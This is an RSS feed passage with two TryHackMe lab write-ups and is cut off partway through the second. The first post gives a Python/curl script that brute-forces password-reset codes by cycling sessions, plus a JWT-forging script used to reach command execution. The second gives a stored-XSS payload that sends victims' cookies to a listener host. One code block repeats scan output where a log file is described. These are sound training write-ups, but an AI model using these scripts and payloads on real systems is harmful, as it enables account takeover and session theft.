<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ziyad Walid [ziy4d0x] on Medium]]></title>
        <description><![CDATA[Stories by Ziyad Walid [ziy4d0x] on Medium]]></description>
        <link>https://medium.com/@ziy4d0x?source=rss-f7d2af74f7e8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kB2Opathw23GvFb0VpjcWQ.jpeg</url>
            <title>Stories by Ziyad Walid [ziy4d0x] on Medium</title>
            <link>https://medium.com/@ziy4d0x?source=rss-f7d2af74f7e8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 18:17:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ziy4d0x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe Hammer: From Password Reset Bypass to RCE]]></title>
            <link>https://medium.com/@ziy4d0x/tryhackme-hammer-from-password-reset-bypass-to-rce-c5fac87aa31d?source=rss-f7d2af74f7e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5fac87aa31d</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Ziyad Walid [ziy4d0x]]]></dc:creator>
            <pubDate>Sat, 28 Nov 2026 22:05:16 GMT</pubDate>
            <atom:updated>2026-11-28T22:05:16.238Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Exploiting Password Reset Logic, Bypassing Rate Limits, and Abusing JWT Authentication</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FzS0yEkdJhE9tJS1KP_EZA.png" /></figure><h3>Introduction</h3><p>In this write-up, I will walk through my approach to the <a href="https://tryhackme.com/room/hammer"><strong>Hammer</strong> </a>room on <a href="https://tryhackme.com/">TryHackMe</a>. The challenge focuses on web application vulnerabilities, authentication bypass, and remote code execution.</p><p>During the process, we will discover an exposed log file, exploit a weak password reset mechanism, and abuse JWT authentication to escalate our privileges and execute commands on the target machine.</p><p>🎯 <strong>Goal:</strong> Exploit the web application, gain access to the user account, escalate privileges, and retrieve both flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bb-tpkOwKIVnKvmeXG5zEQ.png" /></figure><h3>Stage 1: Reconnaissance</h3><h4>Nmap Scan</h4><p>First, let’s start with an Nmap scan to identify the open ports and services running on the target.</p><pre>nmap -sC -sV -p- -T4 &lt;TARGET-IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/0*76wuQ3qBYs8mlT48" /></figure><p>Since the web server is our likely entry point, let’s investigate it first.</p><h4>Web Enumeration</h4><p>Let’s add the target domain to our hosts file.</p><pre>echo &quot;&lt;TARGET-IP&gt; hammer.thm&quot; | sudo tee -a /etc/hosts</pre><p>Now, visit:</p><pre>http://hammer.thm:1337</pre><p>We are redirected to a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6Le9nn45eYJubz0v" /></figure><p>Next, let’s enumerate the available directories using Feroxbuster.</p><pre>┌──(0xb0b㉿kali)-[~/Documents/tryhackme/hammer]<br>└─$ feroxbuster -u &#39;http://hammer.thm:1337&#39; -w /usr/share/wordlists/dirb/big.txt<br>                                                                                                                      <br> ___  ___  __   __     __      __         __   ___<br>|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__<br>|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___<br>by Ben &quot;epi&quot; Risher 🤓                 ver: 2.10.2<br>───────────────────────────┬──────────────────────<br> 🎯  Target Url            │ http://hammer.thm:1337<br> 🚀  Threads               │ 50<br> 📖  Wordlist              │ /usr/share/wordlists/dirb/big.txt<br> 👌  Status Codes          │ All Status Codes!<br> 💥  Timeout (secs)        │ 7<br> 🦡  User-Agent            │ feroxbuster/2.10.2<br> 💉  Config File           │ /etc/feroxbuster/ferox-config.toml<br> 🔎  Extract Links         │ true<br> 🏁  HTTP methods          │ [GET]<br> 🔃  Recursion Depth       │ 4<br> 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest<br>───────────────────────────┴──────────────────────<br> 🏁  Press [ENTER] to use the Scan Management Menu™<br>──────────────────────────────────────────────────<br>404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter<br>403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter<br>200      GET       47l      111w     1664c http://hammer.thm:1337/reset_password.php<br>200      GET        6l     2304w   232914c http://hammer.thm:1337/hmr_css/bootstrap.min.css<br>200      GET       36l       83w     1326c http://hammer.thm:1337/<br>301      GET        9l       28w      320c http://hammer.thm:1337/javascript =&gt; http://hammer.thm:1337/javascript/<br>301      GET        9l       28w      320c http://hammer.thm:1337/phpmyadmin =&gt; http://hammer.thm:1337/phpmyadmin/<br>301      GET        9l       28w      316c http://hammer.thm:1337/vendor =&gt; http://hammer.thm:1337/vendor/<br>200      GET        0l        0w        0c http://hammer.thm:1337/vendor/autoload.php<br>200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/ClassLoader.php<br>200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_real.php<br>200      GET       63l      136w     2071c http://hammer.thm:1337/vendor/composer/installed.json<br>200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_namespaces.php<br>200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_static.php<br>200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_psr4.php<br>200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_classmap.php<br>200      GET       19l      168w     1068c http://hammer.thm:1337/vendor/composer/LICENSE<br>200      GET       30l      224w     1529c http://hammer.thm:1337/vendor/firebase/php-jwt/LICENSE<br>200      GET       42l      100w     1173c http://hammer.thm:1337/vendor/firebase/php-jwt/composer.json<br>200      GET      170l      650w     8697c http://hammer.thm:1337/vendor/firebase/php-jwt/CHANGELOG.md<br>200      GET      424l     1529w    13516c http://hammer.thm:1337/vendor/firebase/php-jwt/README.md<br>301      GET        9l       28w      327c http://hammer.thm:1337/javascript/jquery =&gt; http://hammer.thm:1337/javascript/jquery/<br>301      GET        9l       28w      324c http://hammer.thm:1337/phpmyadmin/doc =&gt; http://hammer.thm:1337/phpmyadmin/doc/<br>200      GET       98l      278w    35231c http://hammer.thm:1337/phpmyadmin/favicon.icoWe also notice that the CSS directory uses an unusual naming convention.<br>By inspecting the page source, we notice that the application uses directory names starting with hmr_.<br>This gives us an idea: instead of using the original wordlist, we can modify it by adding hmr_ before every entry.<br>cp /usr/share/wordlists/dirb/big.txt .<br>sed &#39;s/^/hmr_/&#39; big.txt &gt; hmr_big.txt<br>Now, run Feroxbuster again using the modified wordlist.<br>We now find a directory hmr_logs, which has directory listing activated. This directory contains an error.logs file.<br><br>┌──(0xb0b㉿kali)-[~/Documents/tryhackme/hammer]<br>└─$ feroxbuster -u &#39;http://hammer.thm:1337&#39; -w hmr_big.txt<br>                                                                                                                      <br> ___  ___  __   __     __      __         __   ___<br>|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__<br>|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___<br>by Ben &quot;epi&quot; Risher 🤓                 ver: 2.10.2<br>───────────────────────────┬──────────────────────<br> 🎯  Target Url            │ http://hammer.thm:1337<br> 🚀  Threads               │ 50<br> 📖  Wordlist              │ hmr_big.txt<br> 👌  Status Codes          │ All Status Codes!<br> 💥  Timeout (secs)        │ 7<br> 🦡  User-Agent            │ feroxbuster/2.10.2<br> 💉  Config File           │ /etc/feroxbuster/ferox-config.toml<br> 🔎  Extract Links         │ true<br> 🏁  HTTP methods          │ [GET]<br> 🔃  Recursion Depth       │ 4<br> 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest<br>───────────────────────────┴──────────────────────<br> 🏁  Press [ENTER] to use the Scan Management Menu™<br>──────────────────────────────────────────────────<br>403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter<br>404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter<br>200      GET       47l      111w     1664c http://hammer.thm:1337/reset_password.php<br>200      GET        6l     2304w   232914c http://hammer.thm:1337/hmr_css/bootstrap.min.css<br>200      GET       36l       83w     1326c http://hammer.thm:1337/<br>301      GET        9l       28w      317c http://hammer.thm:1337/hmr_css =&gt; http://hammer.thm:1337/hmr_css/<br>301      GET        9l       28w      320c http://hammer.thm:1337/hmr_images =&gt; http://hammer.thm:1337/hmr_images/<br>200      GET     1676l     9897w   792599c http://hammer.thm:1337/hmr_images/hammer.webp<br>301      GET        9l       28w      316c http://hammer.thm:1337/hmr_js =&gt; http://hammer.thm:1337/hmr_js/<br>200      GET        2l     1294w    89501c http://hammer.thm:1337/hmr_js/jquery-3.6.0.min.js<br>301      GET        9l       28w      318c http://hammer.thm:1337/hmr_logs =&gt; http://hammer.thm:1337/hmr_logs/<br>200      GET        9l      219w     1984c http://hammer.thm:1337/hmr_logs/error.logs<br>[####################] - 25s    20480/20480   0s      found:10      errors:0      <br>[####################] - 24s    20469/20469   844/s   http://hammer.thm:1337/ <br>[####################] - 0s     20469/20469   193104/s http://hammer.thm:1337/hmr_css/ =&gt; Directory listing<br>[####################] - 1s     20469/20469   34172/s http://hammer.thm:1337/hmr_images/ =&gt; Directory listing<br>[####################] - 0s     20469/20469   84583/s http://hammer.thm:1337/hmr_js/ =&gt; Directory listing<br>[####################] - 0s     20469/20469   208867/s http://hammer.thm:1337/hmr_logs/ =&gt; Directory listing</pre><p>Let’s inspect the log file.</p><pre>┌──(0xb0b㉿kali)-[~/Documents/tryhackme/hammer]<br>└─$ feroxbuster -u &#39;http://hammer.thm:1337&#39; -w hmr_big.txt<br>                                                                                                                      <br> ___  ___  __   __     __      __         __   ___<br>|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__<br>|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___<br>by Ben &quot;epi&quot; Risher 🤓                 ver: 2.10.2<br>───────────────────────────┬──────────────────────<br> 🎯  Target Url            │ http://hammer.thm:1337<br> 🚀  Threads               │ 50<br> 📖  Wordlist              │ hmr_big.txt<br> 👌  Status Codes          │ All Status Codes!<br> 💥  Timeout (secs)        │ 7<br> 🦡  User-Agent            │ feroxbuster/2.10.2<br> 💉  Config File           │ /etc/feroxbuster/ferox-config.toml<br> 🔎  Extract Links         │ true<br> 🏁  HTTP methods          │ [GET]<br> 🔃  Recursion Depth       │ 4<br> 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest<br>───────────────────────────┴──────────────────────<br> 🏁  Press [ENTER] to use the Scan Management Menu™<br>──────────────────────────────────────────────────<br>403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter<br>404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter<br>200      GET       47l      111w     1664c http://hammer.thm:1337/reset_password.php<br>200      GET        6l     2304w   232914c http://hammer.thm:1337/hmr_css/bootstrap.min.css<br>200      GET       36l       83w     1326c http://hammer.thm:1337/<br>301      GET        9l       28w      317c http://hammer.thm:1337/hmr_css =&gt; http://hammer.thm:1337/hmr_css/<br>301      GET        9l       28w      320c http://hammer.thm:1337/hmr_images =&gt; http://hammer.thm:1337/hmr_images/<br>200      GET     1676l     9897w   792599c http://hammer.thm:1337/hmr_images/hammer.webp<br>301      GET        9l       28w      316c http://hammer.thm:1337/hmr_js =&gt; http://hammer.thm:1337/hmr_js/<br>200      GET        2l     1294w    89501c http://hammer.thm:1337/hmr_js/jquery-3.6.0.min.js<br>301      GET        9l       28w      318c http://hammer.thm:1337/hmr_logs =&gt; http://hammer.thm:1337/hmr_logs/<br>200      GET        9l      219w     1984c http://hammer.thm:1337/hmr_logs/error.logs<br>[####################] - 25s    20480/20480   0s      found:10      errors:0      <br>[####################] - 24s    20469/20469   844/s   http://hammer.thm:1337/ <br>[####################] - 0s     20469/20469   193104/s http://hammer.thm:1337/hmr_css/ =&gt; Directory listing<br>[####################] - 1s     20469/20469   34172/s http://hammer.thm:1337/hmr_images/ =&gt; Directory listing<br>[####################] - 0s     20469/20469   84583/s http://hammer.thm:1337/hmr_js/ =&gt; Directory listing<br>[####################] - 0s     20469/20469   208867/s http://hammer.thm:1337/hmr_logs/ =&gt; Directory listingThe log contains an authentication failure associated with:</pre><p>The log contains an authentication failure associated with:</p><pre>tester@hammer.thm</pre><p>This gives us a valid email address to investigate the password reset functionality.</p><h3>Stage 2: Bypassing the Login</h3><h4>Analyzing the Login Page</h4><p>The login page displays a generic error message when we enter incorrect credentials.</p><p>This means we cannot easily determine whether an email address exists by testing the normal login form.</p><p>However, there is another interesting feature: <strong>Forgot Password</strong>.</p><p>Let’s open:</p><pre>http://hammer.thm:1337/reset_password.php</pre><p>When we submit an invalid email address, the application displays an error message.</p><p>This suggests that the password reset functionality may reveal whether an email address is registered.</p><p>Since we already found tester@hammer.thm in the log file, let&#39;s use it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UMlO92R2v_c-asxr" /></figure><p>Analyzing the Password Reset Mechanism</p><p>When we request a password reset for the discovered email, the application asks us to enter a four-digit recovery code.</p><p>We also notice that the recovery process has a time limit of:</p><pre>180 seconds</pre><p>Let’s intercept the recovery request using Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T6NGvDpSINTOnp5O" /></figure><p>Looking at the response headers, we discover an interesting value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Yi5gqZhnltPZM-y_" /></figure><p>This value decreases with every submitted recovery code.</p><p>After eight attempts, the rate limit reaches zero.</p><p>At first, this seems to prevent brute-forcing the four-digit code.</p><p>However, we need to understand how the application handles sessions and rate limiting.</p><h4>Understanding the Rate Limit</h4><p>The recovery process uses a PHPSESSID cookie to identify the current session.</p><p>We might assume that creating a new session will reset the number of allowed attempts.</p><p>Let’s test this by requesting a new password reset without sending the previous session cookie.</p><p>The server creates a new PHPSESSID, and the response shows that we have eight attempts again.</p><blockquote>This reveals an important weakness: <strong>the application allows the recovery attempts to be refreshed by obtaining a new session during the recovery window.</strong></blockquote><p>The recovery token itself remains valid during its 180-second lifetime, even when we create a new session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*15VFbu0AMl4vc2_c" /></figure><h4>Automating the Recovery Code Attempts</h4><p>Since the recovery code contains four digits, there are 10,000 possible combinations:</p><pre>0000 → 9999</pre><p>We can automate the process using Python and curl.</p><p>The following script requests a password reset, retrieves the session cookie, and submits recovery codes. It obtains a fresh session periodically to restore the available attempts.</p><pre>import subprocess<br>def get_phpsessid():<br>    reset_command = [<br>        &quot;curl&quot;, &quot;-X&quot;, &quot;POST&quot;,<br>        &quot;http://hammer.thm:1337/reset_password.php&quot;,<br>        &quot;-d&quot;, &quot;email=tester%40hammer.thm&quot;,<br>        &quot;-H&quot;, &quot;Content-Type: application/x-www-form-urlencoded&quot;,<br>        &quot;-v&quot;<br>    ]<br>    response = subprocess.run(<br>        reset_command,<br>        capture_output=True,<br>        text=True<br>    )<br>    phpsessid = None<br>    for line in response.stderr.splitlines():<br>        if &quot;Set-Cookie: PHPSESSID=&quot; in line:<br>            phpsessid = line.split(&quot;PHPSESSID=&quot;)[1].split(&quot;;&quot;)[0]<br>            break<br>    return phpsessid<br><br>def submit_recovery_code(phpsessid, recovery_code):<br>    recovery_command = [<br>        &quot;curl&quot;, &quot;-X&quot;, &quot;POST&quot;,<br>        &quot;http://hammer.thm:1337/reset_password.php&quot;,<br>        &quot;-d&quot;, f&quot;recovery_code={recovery_code}&amp;s=180&quot;,<br>        &quot;-H&quot;, &quot;Content-Type: application/x-www-form-urlencoded&quot;,<br>        &quot;-H&quot;, f&quot;Cookie: PHPSESSID={phpsessid}&quot;,<br>        &quot;--silent&quot;<br>    ]<br>    response = subprocess.run(<br>        recovery_command,<br>        capture_output=True,<br>        text=True<br>    )<br>    return response.stdout<br><br>def main():<br>    phpsessid = get_phpsessid()<br>    if not phpsessid:<br>        print(&quot;Failed to retrieve initial PHPSESSID.&quot;)<br>        return<br>    for i in range(10000):<br>        recovery_code = f&quot;{i:04d}&quot;<br>        if i % 7 == 0:<br>            phpsessid = get_phpsessid()<br>            if not phpsessid:<br>                print(f&quot;Failed to retrieve PHPSESSID at attempt {i}.&quot;)<br>                continue<br>        response_text = submit_recovery_code(<br>            phpsessid,<br>            recovery_code<br>        )<br>        word_count = len(response_text.split())<br>        if word_count != 148:<br>            print(f&quot;Success! Recovery Code: {recovery_code}&quot;)<br>            print(f&quot;PHPSESSID: {phpsessid}&quot;)<br>            print(response_text)<br>            break<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>The script uses the response word count to identify a response that differs from the normal unsuccessful response.</p><p>The value 148 comes from the observed response in this challenge. If the response changes, this detection condition may need adjustment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/0*SdYL_VwHuZVaM4i9" /></figure><h4>Resetting the Password</h4><p>All we have to do now is set the PHPSESSID in the browser and reload the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VGyGIatGmJE9EWkM" /></figure><p>After we have reloaded the page, we can reset the password for the user tester@hammer.thm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X9MrIk7vbQnqMQWb" /></figure><p>We choose a new password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Mc2lLZBILLzm5fZN" /></figure><p>We then log in with the new credentials …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SVem35VI5z1iAuik" /></figure><p>… and are forwarded to the dashboard. We see that we have the role user, can enter commands and are greeted with the first flag. After a short time, we are logged out.</p><p>We can retrieve the first flag from the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ms49uBa2XEs6RRLH" /></figure><h3>Stage 3: Analyzing the Command Execution Feature</h3><blockquote>First we look at what lets us log out, in the source we see a script that checks the cookies after an interval and if the condition is not met, we are logged out. If persistentSession is not set to True, we will be logged out. Using the OWASP ZAP tool, we can set this value permanently, but we can also continue our investigation using Burp Suite without being logged out.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pXKXCpHNFgxVKaTb" /></figure><blockquote>Furthermore, there is a script that listens for a click event on the #submitCommand button and retrieves a command input by the user. It then sends an AJAX POST request to execute_command.php, including the command and a JWT token in the request headers for authorization. Upon receiving a response, it displays the result or an error message in the #commandOutput element. This script is responsible for the command transmission.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3cnKzNLmY3J8E5rC" /></figure><h4>Analysis Command Execution</h4><p>We intercept the request to transfer the command using Burp Suite. We see the token in the header and in the cookie. Furthermore, we are not allowed to execute the ID command. We use FFuF with a word list to check which commands can be used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uBKvcH5s6ZmU3Dgw" /></figure><blockquote>Key File</blockquote><p>It seems that we can only execute the ls command. Besides the pages and directories we already know there is a .key file present. We remember that our user role was displayed in the dashboard. It is possible that other roles can execute more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TEJzJgYEPBtcNxjI" /></figure><h4>JWT Token Creation</h4><p>We analyze the JWT token using jwt.io and can make out the structure, in the header a kid is set, that points to a key file located at /var/www/mykey.key. Furthermore the token contains the role user. Maybe with another role like admin we would be able to execute arbitrary commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GsheYd33MihfURHO" /></figure><p>We recall the listing of our ls command, here we had a key file. The key file contains a hash value. Possibly the secret for signing a JWT token. So we can probably craft our own token, since we have access to the secret and can guess the location of the token for the kid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EzWjYJh7MCYKBuHb" /></figure><p>Let’s create an admin token with a structure like this:</p><p>The first token we create is for the role user we already know, to confirm that our self-created token works. However, this is not shown below.</p><pre>{<br>  &quot;alg&quot;: &quot;HS256&quot;,<br>  &quot;kid&quot;: &quot;/var/www/html/188ade1.key&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}<br>{<br>  &quot;iss&quot;: &quot;http://hammer.thm&quot;,<br>  &quot;aud&quot;: &quot;http://hammer.thm&quot;,<br>  &quot;iat&quot;: 1725193591,<br>  &quot;exp&quot;: 1725199591,<br>  &quot;data&quot;: {<br>    &quot;user_id&quot;: 1,<br>    &quot;email&quot;: &quot;tester@hammer.thm&quot;,<br>    &quot;role&quot;: &quot;admin&quot;<br>  }<br>}<br>HMACSHA256(<br>  base64UrlEncode(header) + &quot;.&quot; +<br>  base64UrlEncode(payload),<br>  <br>)</pre><p>We use a python script to create a token with admin role; we enter content line 4 and path of the secret line 10. We also set the expiry date a little higher for us.</p><pre>import jwt<br># The secret key from /var/www/mykey.key<br>secret_key = &quot;REDACTED&quot;<br># JWT header including &#39;kid&#39;<br>header = {<br>    &quot;typ&quot;: &quot;JWT&quot;,<br>    &quot;alg&quot;: &quot;HS256&quot;,<br>    &quot;kid&quot;: &quot;/var/www/html/REDACTED.key&quot;<br>}<br># Payload with the &#39;admin&#39; role<br>payload = {<br>    &quot;iss&quot;: &quot;http://hammer.thm&quot;,<br>    &quot;aud&quot;: &quot;http://hammer.thm&quot;,<br>    &quot;iat&quot;: 1725193591,<br>    &quot;exp&quot;: 1725199591,<br>    &quot;data&quot;: {<br>        &quot;user_id&quot;: 1,<br>        &quot;email&quot;: &quot;tester@hammer.thm&quot;,<br>        &quot;role&quot;: &quot;admin&quot;<br>    }<br>}<br># Encode the JWT with the specific header<br>token = jwt.encode(payload, secret_key, algorithm=&quot;HS256&quot;, headers=header)<br># Print the generated token<br>print(token)</pre><p>Running the script, we get a token, signed with the secret, located in the web root folder.</p><p>It is possible that the brute force takes longer than the 180 seconds that the token lasts. Therefore, the script may not necessarily find the valid token during its execution. Another attempt must then be made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/0*VDohaU-tboGJwF7w" /></figure><p>Using jwt.io, we are able to confirm its new content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/0*EL2QfqG8pTPQHYCS" /></figure><h4>Arbitrary Remote Code Execution</h4><p>Next, we replace the token value in the Authorization header and token cookie value. After that, we are able to execute arbitrary commands as admin. Using ID we see, we are www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0J4PXX8D-nSkZ4pM" /></figure><p>As www-data we are able to retrieve the second flag at /home/ubuntu.flag.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2Cp7O-RZf4UWG0wa" /></figure><blockquote>At the end, I hope you enjoyed reading this write-up and found it useful and informative.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5fac87aa31d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe What’s Your Name: From XSS to Full Account Takeover]]></title>
            <link>https://medium.com/@ziy4d0x/tryhackme-whatisyourname-from-xss-to-full-account-takeover-3d50a2692f2b?source=rss-f7d2af74f7e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d50a2692f2b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Ziyad Walid [ziy4d0x]]]></dc:creator>
            <pubDate>Sat, 28 Nov 2026 21:19:00 GMT</pubDate>
            <atom:updated>2026-11-28T21:20:17.907Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Chaining Stored XSS and CSRF to Compromise Moderator and Admin Accounts</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfD83gRA8Qd8MRP1F5KCuQ.png" /></figure><h3>Introduction</h3><blockquote><em>In this write-up, I will walk through my approach to solving the </em><a href="https://tryhackme.com/room/whatsyourname"><em>WhatIsYourName CTF</em></a><em> on </em><a href="https://tryhackme.com/"><em>TryHackMe</em></a><em>.</em></blockquote><blockquote><em>I’ll cover the reconnaissance process, JavaScript inspection, Stored XSS exploitation, cookie security, and CSRF attacks to understand how these vulnerabilities can be chained together to compromise privileged accounts.</em></blockquote><p>🎯 The goal is to gain access to the moderator account, exploit the password-change functionality, and retrieve the admin flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j0EnTiAiAtxHiSLOWLf5HA.png" /></figure><h3>Stage 1: Reconnaissance</h3><p>Let’s start with an Nmap scan:</p><pre>nmap 10.130.185.32 -sV -p-</pre><blockquote><em>Results</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xIuLUgO32FxwH58VcUoRJw.png" /></figure><p>The scan revealed the available services running on the target. Since HTTP was available, I moved on to web enumeration.</p><p>According to the room instructions, we need to add the target hostname to our /etc/hosts file.</p><pre>sudo nano /etc/hosts</pre><p>Add the following entry:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*EMHkAoVHYZqhPvtqaK3Zxg.png" /></figure><p>After saving the changes, I opened the website in Firefox.</p><h3>Stage 2: Web Enumeration</h3><p>Since HTTP is available, I navigated to:</p><pre>http://worldwap.thm</pre><p>The website redirected me to:</p><pre>http://worldwap.thm/public/html/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vWFs71_Clp6scUtkjq1K9A.png" /></figure><p>After exploring the application, I found the registration functionality.</p><p>One interesting detail was the message indicating that the site moderator would review registration details.</p><blockquote>This gave me an idea: what if I could inject something into my registration details that would execute when the moderator reviewed them?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a1ys6l6zd36u0LQwP5ORPA.png" /></figure><h3>Stage 3: Stored XSS Discovery &amp; Moderator Cookie Theft</h3><p>Before testing the registration form, I inspected the cookies the application set using the browser’s developer tools.</p><p>I noticed two important details:</p><ul><li>The session cookie was missing the HttpOnly attribute.</li><li>The cookie used domain=.worldwap.thm.</li></ul><p>The missing HttpOnly attribute meant JavaScript could potentially access the cookie through document.cookie.</p><p>Also, the domain attribute allowed the cookie to be shared across the application’s subdomains, using*.worldwap.thm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3WGX08Tc5kS10pIoAyqJeA.png" /></figure><blockquote>Remembering that the moderator reviews registration details, I focused on the Name field.</blockquote><h4>Setting Up a Listener</h4><p>I started a Python HTTP server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*FVbHG1G9zoJCL1e4EHlXQg.png" /></figure><p>I then tested an external JavaScript reference in the fields:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6oMbv4WJaxKc5CmxuThBNg.png" /></figure><p>After the moderator reviewed the registration, I received requests on my listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rx45G0XxvjVUuF8uDzuxVA.png" /></figure><p>This confirmed that the moderator’s browser could reach my machine and request an external JavaScript file.</p><h4>Stealing the Moderator Cookie</h4><p>Since the cookie was accessible through JavaScript, I used the following payload to send its Base64-encoded value to my listener:</p><pre>&lt;script&gt;fetch(&#39;http://Machine-IP/?&#39;+btoa(document.cookie));&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLEF6OnUghf25DSJHPUkNg.png" /></figure><p>After the moderator reviewed the submitted registration, I received a request containing the encoded cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*asmAWlFJl6BdWk7CvJQGmA.png" /></figure><p>I decoded the received value using cyberchef Tool:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bUMPbHPIb2SUHZhn8p5Kdg.png" /></figure><p>The decoded result contained the moderator’s PHP session cookie.</p><h4>Accessing the Moderator Account</h4><p>With the moderator’s session cookie, I replaced my current session cookie in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PQUoXALgFgiJ9BkemzWBQw.png" /></figure><p>I then revisited :</p><pre>http://worldwap.thm/public/html/</pre><p>The application recognized the session and redirected me to the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4wIi_W-p94REdoFyunnu4Q.png" /></figure><p>Remembering that the cookie was configured for .worldwap.thm, I visited the login subdomain:</p><pre>http://login.worldwap.thm/login.php</pre><p>Instead of showing the login page, the application redirected me to:</p><pre>http://login.worldwap.thm/profile.php</pre><p>There, I successfully accessed the moderator profile and retrieved the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zViUl2GHIMSXF6ngYYd-Zg.png" /></figure><h3>Stage 4: Admin Account Takeover Through CSRF</h3><p>After gaining access to the moderator account, I started exploring the login application.</p><p>Two endpoints caught my attention:</p><pre>http://login.worldwap.thm/change_password.php<br>http://login.worldwap.thm/chat.php</pre><p>The first endpoint handled password changes, while the second allowed communication with the admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*RKeo1tu9L0m-oPN38uJMiA.png" /></figure><p>I decided to investigate the password-change functionality first.</p><h4>Inspecting the Password Change Request</h4><figure><img alt="" 